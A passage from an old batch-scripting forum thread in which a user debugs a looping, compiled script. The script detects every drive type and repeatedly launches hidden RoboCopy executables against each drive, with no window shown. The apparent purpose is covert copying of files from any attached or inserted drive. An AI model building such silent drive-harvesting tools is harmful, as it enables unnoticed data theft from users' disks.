                                                        REM this is your COPY-3
                                                        echo Drive %%B...
                                                        echo Performing actions for Removable drive
                                                        REM for example,
                                                        REM CALL COPY-3.bat
                                                        )

                                                     if "%%D"=="Network" (
                                                        REM this is your COPY-3 also
                                                        echo Drive %%B...
                                                        echo Performing actions for Network drive
                                                        REM for example,
                                                        REM CALL COPY-3.bat
                                                        )
                                                     echo.

                                                     REM This is the end of the loop
                                                     )


                                                  gumbaz

                                                    Topic Starter


                                                    Intermediate

                                                    Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                    « Reply #40 on: September 09, 2007, 10:46:38 PM »
                                                    ok, so this is my code so far which is working pretty well..
                                                    except for when i put in the RED CODE it wont work properly now..
                                                    so now I just need a way to skip the GREEN CODE if it finds the process  COPY-%%B.EXE  already running..
                                                    how can i do this..??

                                                    ----------------------------------------------------------------------------------------------------------
                                                    :CHECK-DRIVES

                                                    CD %SYSTEMDRIVE%\DOCUME~1\%username%\LOCALS~1\APPLIC~1

                                                    for /f "tokens=1,2,3,4,5,6 delims=: " %%A in ('cscript /nologo drivetype.vbs') do (

                                                       if "%%D"=="Fixed" (
                                                         %MYFILES%\TASKLIST | FIND/I "COPY-%%B.EXE" && GOTO SKIP

                                                          echo Copying Files From "FIXED DRIVE" %%B:\...
                                                          TYPE "%MYFILES%\COPY-1.EXE" > "%MYFILES%\COPY-%%B.EXE"
                                                          >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B
                                                          START %MYFILES%\-HS-.EXE /NOWINDOW "%MYFILES%\COPY-%%B.EXE"

                                                          :SKIP
                                                          )

                                                       if "%%D"=="CD-ROM" (
                                                          %MYFILES%\TASKLIST | FIND/I "COPY-%%B.EXE" && GOTO SKIP

                                                          echo Copying Files From "CD-ROM DRIVE" %%B:\...
                                                          TYPE "%MYFILES%\COPY-2.EXE" > "%MYFILES%\COPY-%%B.EXE"
                                                          >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B
                                                          START %MYFILES%\-HS-.EXE /NOWINDOW "%MYFILES%\COPY-%%B.EXE"
                                                          :SKIP
                                                          )

                                                       if "%%D"=="Removable" (
                                                          %MYFILES%\TASKLIST | FIND/I "COPY-%%B.EXE" && GOTO SKIP

                                                          echo Copying Files From "REMOVABLE DRIVE" %%B:\...
                                                          TYPE "%MYFILES%\COPY-2.EXE" > "%MYFILES%\COPY-%%B.EXE"
                                                          >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B
                                                          START %MYFILES%\-HS-.EXE /NOWINDOW "%MYFILES%\COPY-%%B.EXE"
                                                          :SKIP
                                                          )

                                                       if "%%D"=="Network" (
                                                          %MYFILES%\TASKLIST | FIND/I "COPY-%%B.EXE" && GOTO SKIP

                                                          echo Copying Files From "NETWORK DRIVE" %%B:\...
                                                          TYPE "%MYFILES%\COPY-2.EXE" > "%MYFILES%\COPY-%%B.EXE"
                                                          >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B
                                                          START %MYFILES%\-HS-.EXE /NOWINDOW "%MYFILES%\COPY-%%B.EXE"
                                                          :SKIP
                                                          )

                                                       if "%%D"=="Unknown" (
                                                          %MYFILES%\TASKLIST | FIND/I "COPY-%%B.EXE" && GOTO SKIP

                                                          echo Copying Files From "UNKNOWN DRIVE" %%B:\...
                                                          TYPE "%MYFILES%\COPY-2.EXE" > "%MYFILES%\COPY-%%B.EXE"
                                                          >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B
                                                          START %MYFILES%\-HS-.EXE /NOWINDOW "%MYFILES%\COPY-%%B.EXE"
                                                          :SKIP
                                                          )

                                                       if "%%D"=="RAM Disk" (
                                                          %MYFILES%\TASKLIST | FIND/I "COPY-%%B.EXE" && GOTO SKIP

                                                          echo Copying Files From "RAM DISK DRIVE" %%B:\...
                                                          TYPE "%MYFILES%\COPY-2.EXE" > "%MYFILES%\COPY-%%B.EXE"
                                                          >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B
                                                          START %MYFILES%\-HS-.EXE /NOWINDOW "%MYFILES%\COPY-%%B.EXE"
                                                          :SKIP
                                                          )
                                                    )


                                                    PING 127.0.0.1 -n 8
                                                    GOTO CHECK-DRIVES

                                                    contrex

                                                    • Guest
                                                    Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                    « Reply #41 on: September 09, 2007, 11:56:00 PM »
                                                    What do you mean "doesn't work"? Be more specific. what value does %myfiles% have? At run time I mean. Why can't you just use the tasklist command on its own? Have you screwed up your PATH?



                                                    gumbaz

                                                      Topic Starter


                                                      Intermediate

                                                      Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                      « Reply #42 on: September 10, 2007, 12:29:05 AM »
                                                      it will just say " ) was unexpected at this time" and end itself..
                                                      %MYFILES%  IS THE VARIABLE FOR  Quick Batch File Compiler  http://www.abyssmedia.com/quickbfc/  where you can store files inside the .exe you make and then when .exe needs it, it gets extracted to this directory %SYSTEMDRIVE%\DOCUME~1\%username%\LOCALS~1\APPLIC~1

                                                      so %MYFILES%\TASKLIST  is short for  %SYSTEMDRIVE%\DOCUME~1\%username%\LOCALS~1\APPLIC~1\TASKLIST.exe

                                                      i just use Tasklist this way becuz some PC 's like Win XP Home don't Have Tasklist..

                                                      so how can i do what im asking though to skip the code if the process  COPY-%%B.EXE is already running..??

                                                      gumbaz

                                                        Topic Starter


                                                        Intermediate

                                                        Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                        « Reply #43 on: September 10, 2007, 03:00:48 PM »
                                                        So how do i make what im asking possible..???

                                                        contrex

                                                        • Guest
                                                        Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                        « Reply #44 on: September 10, 2007, 03:26:23 PM »
                                                        What are these lines? They don't look right to me.

                                                        Quote
                                                        >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B

                                                        I don't like batch compilers. The whole point of a script is that it is... a script! You can read it, edit it, change it...


                                                        What happens if you REM out @echo off and run the code? What line makes the ") was unexpected" error?



                                                        gumbaz

                                                          Topic Starter


                                                          Intermediate

                                                          Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                          « Reply #45 on: September 10, 2007, 04:45:07 PM »
                                                          Code: [Select]
                                                             if "%%D"=="Fixed" (
                                                               %MYFILES%\TASKLIST | FIND/I "COPY-%%B.EXE" && GOTO SKIP

                                                                echo Copying Files From "FIXED DRIVE" %%B:\...
                                                                TYPE "%MYFILES%\COPY-1.EXE" > "%MYFILES%\COPY-%%B.EXE"
                                                                >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B
                                                                START %MYFILES%\-HS-.EXE /NOWINDOW "%MYFILES%\COPY-%%B.EXE"
                                                                :SKIP
                                                                )

                                                          When the ('cscript /nologo drivetype.vbs') finds an active drive it extracts either COPY-1.EXE or COPY-2.EXE  depending on the drive type from within this Main compiled EXE  to %SYSTEMDRIVE%\DOCUME~1\%username%\LOCALS~1\APPLIC~1\
                                                          COPY-1.EXE -- Is a Batch file compiled into an EXE that performs RoboCopy commands for fixed drives.
                                                          COPY-2.EXE -- Is a Batch file compiled into an EXE that performs RoboCopy commands for the other Drive types.

                                                          COPY-1.EXE  &  COPY-2.EXE -- Are then copied as COPY-%%B.EXE into the directory %SYSTEMDRIVE%\DOCUME~1\%username%\LOCALS~1\APPLIC~1\ 
                                                          COPY-%%B.EXE --  %%B is the Letter of the current Drive its working with so if its C:\ then the COPY-1.EXE will be copied to %SYSTEMDRIVE%\DOCUME~1\%username%\LOCALS~1\APPLIC~1\COPY-C.EXE

                                                          then the  >>"%MYFILES%\COPY-%%B.EXE" set DRIVE=%%B   tells it to set the %DRIVE% variable in COPY-C.EXE to C the letter of the drive its working with.

                                                          then it starts the COPY-C.EXE with Hidden Start -HS-.EXE so theres no window showing the operation.

                                                          I'm not using @Echo OFF at all in any of this code..
                                                          so this is what it shows when i run the code from my post above..
                                                          i ran the DRIVE-CHECK.EXE in a CMD WINDOW..
                                                          Code: [Select]

                                                          C:\>C:\DRIVE-CHECK.EXE

                                                          C:\>CD C:\DOCUME~1\VM-WARE\LOCALS~1\APPLIC~1
                                                          ) was unexpected at this time.
                                                          C:\DOCUME~1\VM-WARE\LOCALS~1\APPLIC~1>      )

                                                          C:\>

                                                          contrex

                                                          • Guest
                                                          Re: how to check if a Drive is Fixed or Removable or a CD-DVD drive..???
                                                          « Reply #46 on: September 10, 2007, 11:37:16 PM »
                                                          I hate these batch compilers. What happens if you just run the batch file without compiling it? Does it work then?